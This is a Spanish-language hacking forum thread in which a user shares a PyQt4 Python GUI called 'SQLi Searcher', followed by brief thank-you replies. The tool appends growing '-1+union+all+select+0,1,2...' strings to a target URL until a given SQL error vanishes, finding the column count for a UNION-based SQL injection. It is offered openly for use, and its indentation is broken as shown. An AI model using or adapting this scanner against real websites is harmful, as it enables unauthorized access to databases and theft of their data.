[Código-Python] SQLi Searcher QT JaAViEr

Iniciado por JaAViEr, Junio 27, 2011, 09:07:05 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Junio 27, 2011, 09:07:05 AM Ultima modificación: Marzo 23, 2015, 12:01:41 PM por Expermicid
Lo mismo de antes, pero en GUI QT:
Código: python

# -*- coding: utf-8 -*-
import sys,urllib2
from PyQt4 import QtCore, QtGui
class mensaje(QtGui.QWidget):
  def __init__(self, parent=None):
    QtGui.QWidget.__init__(self,parent)
    self.resize(400, 200)
    self.error = QtGui.QLineEdit('',self)
    self.setWindowTitle("SQLi Searcher JaAViEr")
    self.error.setGeometry(QtCore.QRect(40, 40, 113, 25))
    self.msjerror=QtGui.QLabel('Error:',self)
    self.msjerror.setGeometry(0, 47, 41, 16)
    self.pagina = QtGui.QLineEdit('http://',self)
    self.pagina.setGeometry(40, 10, 291, 25)
    self.textourl=QtGui.QLabel('URL:',self)
    self.textourl.setGeometry(10, 16, 31, 16)
    self.search = QtGui.QPushButton('Buscar!',self)
    self.search.setGeometry(330, 10, 61, 24)
    self.salida = QtGui.QTextBrowser(self)
    self.salida.setGeometry(0, 70, 381, 121)
    self.connect(self.search,QtCore.SIGNAL("clicked()"),self.scan)
  def scan(self):
    self.salida.setHtml('<b>Buscando...<br /></b>')
    stx=""
    i=0
    injx=""
    while 1:
      stx=stx+"%s,"%i
      w=urllib2.urlopen("%s-1+union+all+select+%s"%(str(self.pagina.text()),stx[:-1]))
      if str(self.error.text()) in w.read().lower():
print "."

      else:
  injx=stx[:-1]
  self.salida.setHtml('<font color=red><b>Encontrado!<br />-1+union+all+select+%s</b>'%injx)
  break;
      i+=1
test=QtGui.QApplication(sys.argv)
tooltip=mensaje()
tooltip.show()
test.exec_()

Ejemplo:
URL:You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Error:the used select
Screen :


Saludos :D
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Veo que te sirvió el QT, y veo que has conseguido instalarlo.

Felicitaciones!

Muchas gracias JaAViEr.
Muy bueno.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login